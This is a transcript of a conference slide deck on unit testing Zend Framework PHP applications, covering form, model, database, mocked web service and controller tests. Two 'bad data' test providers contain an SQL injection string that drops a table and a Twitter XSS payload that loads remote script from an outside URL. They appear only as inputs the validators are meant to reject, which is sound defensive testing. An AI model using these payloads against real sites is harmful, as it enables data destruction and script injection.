Upgrade to Pro — share decks privately, control downloads, hide ads and more …

Unit Testing Zend Framework Apps PHPCon Poland

DragonBe
September 29, 2012

Unit Testing Zend Framework Apps PHPCon Poland

Unit testing is still considered the biggest challenge in development: everyone knows they should do it, but reality shows most developers skip it due to several reasons. With this talk I show how easy it is to unit test Zend Framework applications without loosing precious time and create top-notch apps that require little maintenance after delivery.

DragonBe

September 29, 2012
Tweet

More Decks by DragonBe

Other Decks in Technology

Transcript

  1. Most common excuses • no time • not within budget

    • development team does not know how • tests are provided after delivery • …
  2. The cost of bugs 0 25 50 75 100 Start

    Milestone1 Milestone2 Milestone3 Milestone4 Milestone5 Bugs Costs Unittests
  3. Maintainability • during development - test will fail indicating bugs

    • after sales support - testing if an issue is genuine - fixing issues won’t break code base ‣ if they do, you need to fix it! • long term projects - refactoring made easy
  4. Confidence • for the developer - code works • for

    the manager - project succeeds • for sales / general management / share holders - making profit • for the customer - paying for what they want
  5. phpunit.xml <phpunit bootstrap="./TestHelper.php" colors="true"> <testsuite name="Unit test suite"> <directory>./</directory> </testsuite>

    <filter> <whitelist> <directory suffix=".php">../application/</directory> <directory suffix=".php">../library/Mylib/</directory> <exclude> <directory suffix=".phtml">../application/</directory> </exclude> </whitelist> </filter> </phpunit>
  6. TestHelper.php <?php // set our app paths and environments define('BASE_PATH',

    realpath(dirname(__FILE__) . '/../')); define('APPLICATION_PATH', BASE_PATH . '/application'); define('TEST_PATH', BASE_PATH . '/tests'); define('APPLICATION_ENV', 'testing'); // Include path set_include_path( . PATH_SEPARATOR . BASE_PATH . '/library' . PATH_SEPARATOR . get_include_path() ); // Set the default timezone !!! date_default_timezone_set('Europe/Brussels'); // We wanna catch all errors en strict warnings error_reporting(E_ALL|E_STRICT); require_once 'Zend/Application.php'; $application = new Zend_Application( APPLICATION_ENV, APPLICATION_PATH . '/configs/application.ini' ); $application->bootstrap();
  7. Start with the test <?php class Application_Form_CommentFormTest extends PHPUnit_Framework_TestCase {

    protected $_form; protected function setUp() { $this->_form = new Application_Form_CommentForm(); parent::setUp(); } protected function tearDown() { parent::tearDown(); $this->_form = null; } }
  8. The good stuff public function goodData() { return array (

    array ('John Doe', '[email protected]', 'http://example.com', 'test comment'), array ("Matthew Weier O'Phinney", '[email protected]', 'http://weierophinney.net', 'Doing an MWOP-Test'), array ('D. Keith Casey, Jr.', '[email protected]', 'http://caseysoftware.com', 'Doing a monkey dance'), ); } /** * @dataProvider goodData */ public function testFormAcceptsValidData($name, $email, $web, $comment) { $data = array ( 'name' => $name, 'mail' => $mail, 'web' => $web, 'comment' => $comment, ); $this->assertTrue($this->_form->isValid($data)); }
  9. The bad stuff public function badData() { return array (

    array ('','','',''), array ("Robert'; DROP TABLES comments; --", '', 'http://xkcd.com/327/','Little Bobby Tables'), array (str_repeat('x', 100000), '', '', ''), array ('John Doe', '[email protected]', "http://t.co/@\"style=\"font-size:999999999999px;\"onmouseover= \"$.getScript('http:\u002f\u002fis.gd\u002ffl9A7')\"/", 'exploit twitter 9/21/2010'), ); } /** * @dataProvider badData */ public function testFormRejectsBadData($name, $email, $web, $comment) { $data = array ( 'name' => $name, 'mail' => $mail, 'web' => $web, 'comment' => $comment, ); $this->assertFalse($this->_form->isValid($data)); }
  10. Create the form class <?php class Application_Form_CommentForm extends Zend_Form {

    public function init() { /* Form Elements & Other Definitions Here ... */ } }
  11. Let’s put in our elements <?php class Application_Form_CommentForm extends Zend_Form

    { public function init() { $this->addElement('text', 'name', array ( 'Label' => 'Name', 'Required' => true)); $this->addElement('text', 'mail', array ( 'Label' => 'E-mail Address', 'Required' => true)); $this->addElement('text', 'web', array ( 'Label' => 'Website', 'Required' => false)); $this->addElement('textarea', 'comment', array ( 'Label' => 'Comment', 'Required' => true)); $this->addElement('submit', 'post', array ( 'Label' => 'Post', 'Ignore' => true)); } }
  12. Filter - Validate $this->addElement('text', 'name', array ( 'Label' => 'Name',

    'Required' => true, 'Filters' => array ('StringTrim', 'StripTags'), 'Validators' => array ( new Zftest_Validate_Mwop(), new Zend_Validate_StringLength(array ('min' => 4, 'max' => 50))), )); $this->addElement('text', 'mail', array ( 'Label' => 'E-mail Address', 'Required' => true, 'Filters' => array ('StringTrim', 'StripTags', 'StringToLower'), 'Validators' => array ( new Zend_Validate_EmailAddress(), new Zend_Validate_StringLength(array ('min' => 4, 'max' => 50))), )); $this->addElement('text', 'web', array ( 'Label' => 'Website', 'Required' => false, 'Filters' => array ('StringTrim', 'StripTags', 'StringToLower'), 'Validators' => array ( new Zend_Validate_Callback(array('Zend_Uri', 'check')), new Zend_Validate_StringLength(array ('min' => 4, 'max' => 50))), )); $this->addElement('textarea', 'comment', array ( 'Label' => 'Comment', 'Required' => true, 'Filters' => array ('StringTrim', 'StripTags'), 'Validators' => array ( new Zftest_Validate_TextBox(), new Zend_Validate_StringLength(array ('max' => 5000))), ));
  13. Testing business logic • models contain logic - tied to

    your business - tied to your storage - tied to your resources • no “one size fits all” solution
  14. Type: data containers • contains structured data - populated through

    setters and getters • perform logic tied to it’s purpose - transforming data - filtering data - validating data • can convert into other data types - arrays - strings (JSON, serialized, xml, …) • are providers to other models
  15. Writing model test <?php class Application_Model_CommentTest extends PHPUnit_Framework_TestCase { protected

    $_comment; protected function setUp() { $this->_comment = new Application_Model_Comment(); parent::setUp(); } protected function tearDown() { parent::tearDown(); $this->_comment = null; } public function testModelIsEmptyAtConstruct() { $this->assertSame(0, $this->_comment->getId()); $this->assertNull($this->_comment->getFullName()); $this->assertNull($this->_comment->getEmailAddress()); $this->assertNull($this->_comment->getWebsite()); $this->assertNull($this->_comment->getComment()); } }
  16. Create a simple model <?php class Application_Model_Comment { protected $_id

    = 0; protected $_fullName; protected $_emailAddress; protected $_website; protected $_comment; public function setId($id) { $this->_id = (int) $id; return $this; } public function getId() { return $this->_id; } public function setFullName($fullName) { $this->_fullName = (string) $fullName; return $this; } public function getFullName() { return $this->_fullName; } public function setEmailAddress($emailAddress) { $this->_emailAddress = (string) $emailAddress; return $this; } public function getEmailAddress() { return $this->_emailAddress; } public function setWebsite($website) { $this->_website = (string) $website; return $this; } public function getWebsite() { return $this->_website; } public function setComment($comment) { $this->_comment = (string) $comment; return $this; } public function getComment() { return $this->_comment; } public function populate($row) { if (is_array($row)) { $row = new ArrayObject($row, ArrayObject::ARRAY_AS_PROPS); } if (isset ($row->id)) $this->setId($row->id); if (isset ($row->fullName)) $this->setFullName($row->fullName); if (isset ($row->emailAddress)) $this->setEmailAddress($row->emailAddress); if (isset ($row->website)) $this->setWebsite($row->website); if (isset ($row->comment)) $this->setComment($row->comment); } public function toArray() { return array ( 'id' => $this->getId(), 'fullName' => $this->getFullName(), 'emailAddress' => $this->getEmailAddress(), 'website' => $this->getWebsite(), 'comment' => $this->getComment(), ); } }
  17. Not all data from form! • model can be populated

    from - users through the form - data stored in the database - a webservice (hosted by us or others) • simply test it - by using same test scenario’s from our form
  18. The good stuff public function goodData() { return array (

    array ('John Doe', '[email protected]', 'http://example.com', 'test comment'), array ("Matthew Weier O'Phinney", '[email protected]', 'http://weierophinney.net', 'Doing an MWOP-Test'), array ('D. Keith Casey, Jr.', '[email protected]', 'http://caseysoftware.com', 'Doing a monkey dance'), ); } /** * @dataProvider goodData */ public function testModelAcceptsValidData($name, $mail, $web, $comment) { $data = array ( 'fullName' => $name, 'emailAddress' => $mail, 'website' => $web, 'comment' => $comment, ); try { $this->_comment->populate($data); } catch (Zend_Exception $e) { $this->fail('Unexpected exception should not be triggered'); } $data['id'] = 0; $data['emailAddress'] = strtolower($data['emailAddress']); $data['website'] = strtolower($data['website']); $this->assertSame($this->_comment->toArray(), $data); }
  19. The bad stuff public function badData() { return array (

    array ('','','',''), array ("Robert'; DROP TABLES comments; --", '', 'http://xkcd.com/327/','Little Bobby Tables'), array (str_repeat('x', 1000), '', '', ''), array ('John Doe', '[email protected]', "http://t.co/@\"style=\"font-size:999999999999px; \"onmouseover=\"$.getScript('http:\u002f\u002fis.gd\u002ffl9A7')\"/", 'exploit twitter 9/21/2010'), ); } /** * @dataProvider badData */ public function testModelRejectsBadData($name, $mail, $web, $comment) { $data = array ( 'fullName' => $name, 'emailAddress' => $mail, 'website' => $web, 'comment' => $comment, ); try { $this->_comment->populate($data); } catch (Zend_Exception $e) { return; } $this->fail('Expected exception should be triggered'); }
  20. Modify our model protected $_filters; protected $_validators; public function __construct($params

    = null) { $this->_filters = array ( 'id' => array ('Int'), 'fullName' => array ('StringTrim', 'StripTags', new Zend_Filter_Alnum(true)), 'emailAddress' => array ('StringTrim', 'StripTags', 'StringToLower'), 'website' => array ('StringTrim', 'StripTags', 'StringToLower'), 'comment' => array ('StringTrim', 'StripTags'), ); $this->_validators = array ( 'id' => array ('Int'), 'fullName' => array ( new Zftest_Validate_Mwop(), new Zend_Validate_StringLength(array ('min' => 4, 'max' => 50)), ), 'emailAddress' => array ( 'EmailAddress', new Zend_Validate_StringLength(array ('min' => 4, 'max' => 50)), ), 'website' => array ( new Zend_Validate_Callback(array('Zend_Uri', 'check')), new Zend_Validate_StringLength(array ('min' => 4, 'max' => 50)), ), 'comment' => array ( new Zftest_Validate_TextBox(), new Zend_Validate_StringLength(array ('max' => 5000)), ), ); if (null !== $params) { $this->populate($params); } }
  21. Modify setters: Id & name public function setId($id) { $input

    = new Zend_Filter_Input($this->_filters, $this->_validators); $input->setData(array ('id' => $id)); if (!$input->isValid('id')) { throw new Zend_Exception('Invalid ID provided'); } $this->_id = (int) $input->id; return $this; } public function setFullName($fullName) { $input = new Zend_Filter_Input($this->_filters, $this->_validators); $input->setData(array ('fullName' => $fullName)); if (!$input->isValid('fullName')) { throw new Zend_Exception('Invalid fullName provided'); } $this->_fullName = (string) $input->fullName; return $this; }
  22. Email & website public function setEmailAddress($emailAddress) { $input = new

    Zend_Filter_Input($this->_filters, $this->_validators); $input->setData(array ('emailAddress' => $emailAddress)); if (!$input->isValid('emailAddress')) { throw new Zend_Exception('Invalid emailAddress provided'); } $this->_emailAddress = (string) $input->emailAddress; return $this; } public function setWebsite($website) { $input = new Zend_Filter_Input($this->_filters, $this->_validators); $input->setData(array ('website' => $website)); if (!$input->isValid('website')) { throw new Zend_Exception('Invalid website provided'); } $this->_website = (string) $input->website; return $this; }
  23. and comment public function setComment($comment) { $input = new Zend_Filter_Input($this->_filters,

    $this->_validators); $input->setData(array ('comment' => $comment)); if (!$input->isValid('comment')) { throw new Zend_Exception('Invalid comment provided'); } $this->_comment = (string) $input->comment; return $this; }
  24. Integration Testing • database specific functionality - triggers - constraints

    - stored procedures - sharding/scalability • data input/output - correct encoding of data - transactions execution and rollback
  25. Points of concern • beware of automated data types -

    auto increment sequence ID’s - default values like CURRENT_TIMESTAMP • beware of time related issues - timestamp vs. datetime - UTC vs. local time
  26. The domain Model • Model object • Mapper object •

    Table gateway object Read more about it ‛
  27. Change our test class class Application_Model_CommentTest extends PHPUnit_Framework_TestCase becomes class

    Application_Model_CommentTest extends Zend_Test_PHPUnit_DatabaseTestCase
  28. Setting DB Testing up protected $_connectionMock; public function getConnection() {

    if (null === $this->_dbMock) { $this->bootstrap = new Zend_Application( APPLICATION_ENV, APPLICATION_PATH . '/configs/application.ini'); $this->bootstrap->bootstrap('db'); $db = $this->bootstrap->getBootstrap()->getResource('db'); $this->_connectionMock = $this->createZendDbConnection( $db, 'zftest' ); return $this->_connectionMock; } } public function getDataSet() { return $this->createFlatXmlDataSet( realpath(APPLICATION_PATH . '/../tests/_files/initialDataSet.xml')); }
  29. initialDataSet.xml <?xml version="1.0" encoding="UTF-8"?> <dataset> <comment id="1" fullName="B.A. Baracus" emailAddress="[email protected]"

    website="http://www.a-team.com" comment="I pitty the fool that doesn't test!"/> <comment id="2" fullName="Martin Fowler" emailAddress="[email protected]" website="http://martinfowler.com/" comment="Models are not right or wrong; they are more or less useful."/> </dataset>
  30. Testing SELECT public function testDatabaseCanBeRead() { $ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet(

    $this->getConnection()); $ds->addTable('comment', 'SELECT * FROM `comment`'); $expected = $this->createFlatXMLDataSet( APPLICATION_PATH . '/../tests/_files/selectDataSet.xml'); $this->assertDataSetsEqual($expected, $ds); }
  31. selectDataSet.xml <?xml version="1.0" encoding="UTF-8"?> <dataset> <comment id="1" fullName="B.A. Baracus" emailAddress="[email protected]"

    website="http://www.a-team.com" comment="I pitty the fool that doesn't test!"/> <comment id="2" fullName="Martin Fowler" emailAddress="[email protected]" website="http://martinfowler.com/" comment="Models are not right or wrong; they are more or less useful."/> </dataset>
  32. Testing UPDATE public function testDatabaseCanBeUpdated() { $comment = new Application_Model_Comment();

    $mapper = new Application_Model_CommentMapper(); $mapper->find(1, $comment); $comment->setComment('I like you picking up the challenge!'); $mapper->save($comment); $ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet( $this->getConnection()); $ds->addTable('comment', 'SELECT * FROM `comment`'); $expected = $this->createFlatXMLDataSet( APPLICATION_PATH . '/../tests/_files/updateDataSet.xml'); $this->assertDataSetsEqual($expected, $ds); }
  33. updateDataSet.xml <?xml version="1.0" encoding="UTF-8"?> <dataset> <comment id="1" fullName="B.A. Baracus" emailAddress="[email protected]"

    website="http://www.a-team.com" comment="I like you picking up the challenge!"/> <comment id="2" fullName="Martin Fowler" emailAddress="[email protected]" website="http://martinfowler.com/" comment="Models are not right or wrong; they are more or less useful."/> </dataset>
  34. Testing DELETE public function testDatabaseCanDeleteAComment() { $comment = new Application_Model_Comment();

    $mapper = new Application_Model_CommentMapper(); $mapper->find(1, $comment) ->delete($comment); $ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet( $this->getConnection()); $ds->addTable('comment', 'SELECT * FROM `comment`'); $expected = $this->createFlatXMLDataSet( APPLICATION_PATH . '/../tests/_files/deleteDataSet.xml'); $this->assertDataSetsEqual($expected, $ds); }
  35. deleteDataSet.xml <?xml version="1.0" encoding="UTF-8"?> <dataset> <comment id="2" fullName="Martin Fowler" emailAddress="[email protected]"

    website="http://martinfowler.com/" comment="Models are not right or wrong; they are more or less useful."/> </dataset>
  36. Testing INSERT public function testDatabaseCanAddAComment() { $comment = new Application_Model_Comment();

    $comment->setFullName('Michelangelo van Dam') ->setEmailAddress('[email protected]') ->setWebsite('http://www.dragonbe.com') ->setComment('Unit Testing, It is so addictive!!!'); $mapper = new Application_Model_CommentMapper(); $mapper->save($comment); $ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet( $this->getConnection()); $ds->addTable('comment', 'SELECT * FROM `comment`'); $expected = $this->createFlatXMLDataSet( APPLICATION_PATH . '/../tests/_files/addDataSet.xml'); $this->assertDataSetsEqual($expected, $ds); }
  37. insertDataSet.xml <?xml version="1.0" encoding="UTF-8"?> <dataset> <comment id="1" fullName="B.A. Baracus" emailAddress="[email protected]"

    website="http://www.a-team.com" comment="I pitty the fool that doesn't test!"/> <comment id="2" fullName="Martin Fowler" emailAddress="[email protected]" website="http://martinfowler.com/" comment="Models are not right or wrong; they are more or less useful."/> <comment id="3" fullName="Michelangelo van Dam" emailAddress="[email protected]" website="http://www.dragonbe.com" comment="Unit Testing, It is so addictive!!!"/> </dataset>
  38. Testing INSERT w/ filter public function testDatabaseCanAddAComment() { $comment =

    new Application_Model_Comment(); $comment->setFullName('Michelangelo van Dam') ->setEmailAddress('[email protected]') ->setWebsite('http://www.dragonbe.com') ->setComment('Unit Testing, It is so addictive!!!'); $mapper = new Application_Model_CommentMapper(); $mapper->save($comment); $ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet( $this->getConnection()); $ds->addTable('comment', 'SELECT * FROM `comment`'); $filteredDs = new PHPUnit_Extensions_Database_DataSet_DataSetFilter( $ds, array ('comment' => array ('id'))); $expected = $this->createFlatXMLDataSet( APPLICATION_PATH . '/../tests/_files/addDataSet.xml'); $this->assertDataSetsEqual($expected, $filteredDs); }
  39. insertDataSet.xml <?xml version="1.0" encoding="UTF-8"?> <dataset> <comment fullName="B.A. Baracus" emailAddress="[email protected]" website="http://www.a-team.com"

    comment="I pitty the fool that doesn't test!"/> <comment fullName="Martin Fowler" emailAddress="[email protected]" website="http://martinfowler.com/" comment="Models are not right or wrong; they are more or less useful."/> <comment fullName="Michelangelo van Dam" emailAddress="[email protected]" website="http://www.dragonbe.com" comment="Unit Testing, It is so addictive!!!"/> </dataset>
  40. Web services remarks • you need to comply with an

    API - that will be your reference • You cannot always make a test-call - paid services per call - test environment is “offline” - network related issues
  41. JoindIn Test <?php class Zftest_Service_JoindinTest extends PHPUnit_Framework_TestCase { protected $_joindin;

    protected $_settings; protected function setUp() { $this->_joindin = new Zftest_Service_Joindin(); // using the test adapter for testing $client = new Zend_Http_Client(); $client->setAdapter(new Zend_Http_Client_Adapter_Test()); $this->_joindin->setClient($client); $settings = simplexml_load_file(realpath( APPLICATION_PATH . '/../tests/_files/settings.xml')); $this->_settings = $settings->joindin; parent::setUp(); } protected function tearDown() { parent::tearDown(); $this->_joindin = null; }
  42. JoindIn Test public function testJoindinCanGetUserDetails() { $expected = '<?xml version="1.0"?><response><item><username>DragonBe</

    username><full_name>Michelangelo van Dam</full_name><ID>19</ ID><last_login>1303248639</last_login></item></response>'; $this->_joindin->setUsername($this->_settings->username) ->setPassword($this->_settings->password); $actual = $this->_joindin->user()->getDetail(); $this->assertXmlStringEqualsXmlString($expected, $actual); } public function testJoindinCanCheckStatus() { $date = new DateTime(); $date->setTimezone(new DateTimeZone('UTC')); $client = $this->_joindin->getClient()->getAdapter()->setResponse($response); $expected = '<?xml version="1.0"?><response><dt>' . $date- >format('r') . '</dt><test_string>testing unit test</test_string></response>'; $actual = $this->_joindin->site()->getStatus('testing unit test'); $this->assertXmlStringEqualsXmlString($expected, $actual); }
  43. Euh… What? 1) Zftest_Service_JoindinTest::testJoindinCanGetUserDetails Failed asserting that two strings are

    equal. --- Expected +++ Actual @@ @@ <ID>19</ID> - <last_login>1303248639</last_login> + <last_login>1303250271</last_login> </item> </response>
  44. And this? 2) Zftest_Service_JoindinTest::testJoindinCanCheckStatus Failed asserting that two strings are

    equal. --- Expected +++ Actual @@ @@ <?xml version=”1.0”?> <response> - <dt>Tue, 19 Apr 2011 22:26:40 +0000</dt> + <dt>Tue, 19 Apr 2011 22:26:41 +0000</dt> </response>
  45. Mocking Client Adapter <?php class Zftest_Service_JoindinTest extends PHPUnit_Framework_TestCase { protected

    $_joindin; protected $_settings; protected function setUp() { $this->_joindin = new Zftest_Service_Joindin(); // using the test adapter for testing $client = new Zend_Http_Client(); $client->setAdapter(new Zend_Http_Client_Adapter_Test()); $this->_joindin->setClient($client); $settings = simplexml_load_file(realpath( APPLICATION_PATH . '/../tests/_files/settings.xml')); $this->_settings = $settings->joindin; parent::setUp(); }
  46. JoindinUserMockTest public function testJoindinCanGetUserDetails() { $response = <<<EOS HTTP/1.1 200

    OK Content-type: text/xml <?xml version="1.0"?> <response> <item> <username>DragonBe</username> <full_name>Michelangelo van Dam</full_name> <ID>19</ID> <last_login>1303248639</last_login> </item> </response> EOS; $client = $this->_joindin->getClient()->getAdapter()->setResponse($response); $expected = '<?xml version="1.0"?><response><item><username>DragonBe</ username><full_name>Michelangelo van Dam</full_name><ID>19</ID><last_login>1303248639</ last_login></item></response>'; $this->_joindin->setUsername($this->_settings->username) ->setPassword($this->_settings->password); $actual = $this->_joindin->user()->getDetail(); $this->assertXmlStringEqualsXmlString($expected, $actual); }
  47. JoindinStatusMockTest public function testJoindinCanCheckStatus() { $date = new DateTime(); $date->setTimezone(new

    DateTimeZone('UTC')); $response = <<<EOS HTTP/1.1 200 OK Content-type: text/xml <?xml version="1.0"?> <response> <dt>{$date->format('r')}</dt> <test_string>testing unit test</test_string> </response> EOS; $client = $this->_joindin->getClient()->getAdapter()- >setResponse($response); $expected = '<?xml version="1.0"?><response><dt>' . $date- >format('r') . '</dt><test_string>testing unit test</test_string></response>'; $actual = $this->_joindin->site()->getStatus('testing unit test'); $this->assertXmlStringEqualsXmlString($expected, $actual); } }
  48. When to use? • GOOD - validation of correct headers

    - track redirections - errors and/or exceptions - visitor flow (page 1 -> page 2, …) • NOT SO GOOD - validation of DOM elements on page - asserting (error) messages
  49. REMARK • data providers can be used - to test

    valid data - to test invalid data • but we know it’s taken care of our model - just checking for error messages in the form
  50. Setting up ControllerTest ?php class IndexControllerTest extends Zend_Test_PHPUnit_ControllerTestCase { public

    function setUp() { $this->bootstrap = new Zend_Application( APPLICATION_ENV, APPLICATION_PATH . '/configs/application.ini'); parent::setUp(); } … }
  51. Testing Form is on Page public function testIndexAction() { $params

    = array('action' => 'index', 'controller' => 'index', 'module' => 'default'); $url = $this->url($this->urlizeOptions($params)); $this->dispatch($url); // assertions $this->assertModule($params['module']); $this->assertController($params['controller']); $this->assertAction($params['action']); $this->assertQueryContentContains('h1#pageTitle', 'Please leave a comment'); $this->assertQueryCount('form#commentForm', 1); }
  52. Test if we hit home public function testSuccessAction() { $params

    = array('action' => 'success', 'controller' => 'index', 'module' => 'default'); $url = $this->url($this->urlizeOptions($params)); $this->dispatch($url); // assertions $this->assertModule($params['module']); $this->assertController($params['controller']); $this->assertAction($params['action']); $this->assertRedirectTo('/'); }
  53. Test Processing public function testProcessAction() { $testData = array (

    'name' => 'testUser', 'mail' => '[email protected]', 'web' => 'http://www.example.com', 'comment' => 'This is a test comment', ); $params = array('action' => 'process', 'controller' => 'index', 'module' => 'default'); $url = $this->url($this->urlizeOptions($params)); $this->request->setMethod('post'); $this->request->setPost($testData); $this->dispatch($url); // assertions $this->assertModule($params['module']); $this->assertController($params['controller']); $this->assertAction($params['action']); $this->assertResponseCode(302); $this->assertRedirectTo('/index/success'); $this->resetRequest(); $this->resetResponse(); $this->dispatch('/index/success'); $this->assertQueryContentContains('span#fullName', $testData['name']); }
  54. Redirect test public function testSuccessAction() { $params = array('action' =>

    'success', 'controller' => 'index', 'module' => 'default'); $url = $this->url($this->urlizeOptions($params)); $this->dispatch($url); // assertions $this->assertModule($params['module']); $this->assertController($params['controller']); $this->assertAction($params['action']); $this->assertRedirectTo('/'); }
  55. Conclusion • unit testing is simple • no excuses not

    to test • test what counts - what makes you loose money if it breaks? • mock out whatever’s expensive - databases, filesystem, services, …
  56. January 25-26, 2013 in Antwerp Belgium 2 day conference (including

    tutorials) community driven low prices ticket sales start in November http://phpcon.eu | @phpbenelux